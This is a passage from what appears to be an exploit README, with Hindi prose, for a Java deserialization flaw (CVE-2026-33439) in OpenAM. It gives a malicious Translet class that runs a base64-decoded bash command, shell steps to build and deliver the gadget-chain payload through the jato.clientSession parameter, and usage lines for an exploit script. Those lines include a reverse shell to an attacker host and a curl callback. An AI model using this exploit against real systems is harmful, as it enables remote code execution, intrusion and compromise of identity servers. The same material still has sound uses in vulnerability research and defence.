public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{"bash", "-c", "echo ${B64CMD} | base64 -d | bash"}); } catch (Exception ignored) {} } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} } EOF
CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
javac -cp $CP /work/EvilTranslet.java
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_shell.b64
PAYLOAD=$(cat /work/payload_shell.b64)
curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
---
<div id="exploitation_poc"/>
### ***PoC टूल उपयोग***
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/42320/f4a2a2d62540ff075135581b05071fb58dc67cfc95de469c201fdd4d052f4c5e.png">
</p>
Python स्क्रिप्ट पूरी श्रृंखला को स्वचालित करती है: EvilTranslet को संकलित करती है, PayloadBuilder के माध्यम से gadget chain बनाती है, URL-safe base64 के साथ एन्कोड करती है, और पहुंचाती है।```bash
# Copy JARs to the exploit directory first
[attacker@lab /work]$
touch Exploit_CVE_2026_33439.py
vi Exploit_CVE_2026_33439.py
python3 Exploit_CVE_2026_33439.py --help
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "touch /tmp/pwned"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1"
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "bash -i >& /dev/tcp/attacker/4444 0>&1" --jars Jars/
python3 Exploit_CVE_2026_33439.py --url http://openam.lab.local:8080/openam --command "curl http://attacker:9999/pwned" --proxy http://127.0.0.1:8080
CVE-2026-33439 के लिए राष्ट्रीय भेद्यता डेटाबेस प्रविष्टि।
मूल कारण विश्लेषण, प्रभावित कोड और गैजेट चेन विवरण सहित आधिकारिक एडवाइजरी।
वह पूर्ववर्ती भेद्यता जिसने jato.pageSession के लिए WhitelistObjectInputStream को पेश किया था।
JATO डिसीरियलाइज़ेशन तंत्र को कवर करने वाला CVE-2021-35464 पर मूल शोध।
भेद्यता वर्ग का वर्णन करने वाली MITRE CWE प्रविष्टि।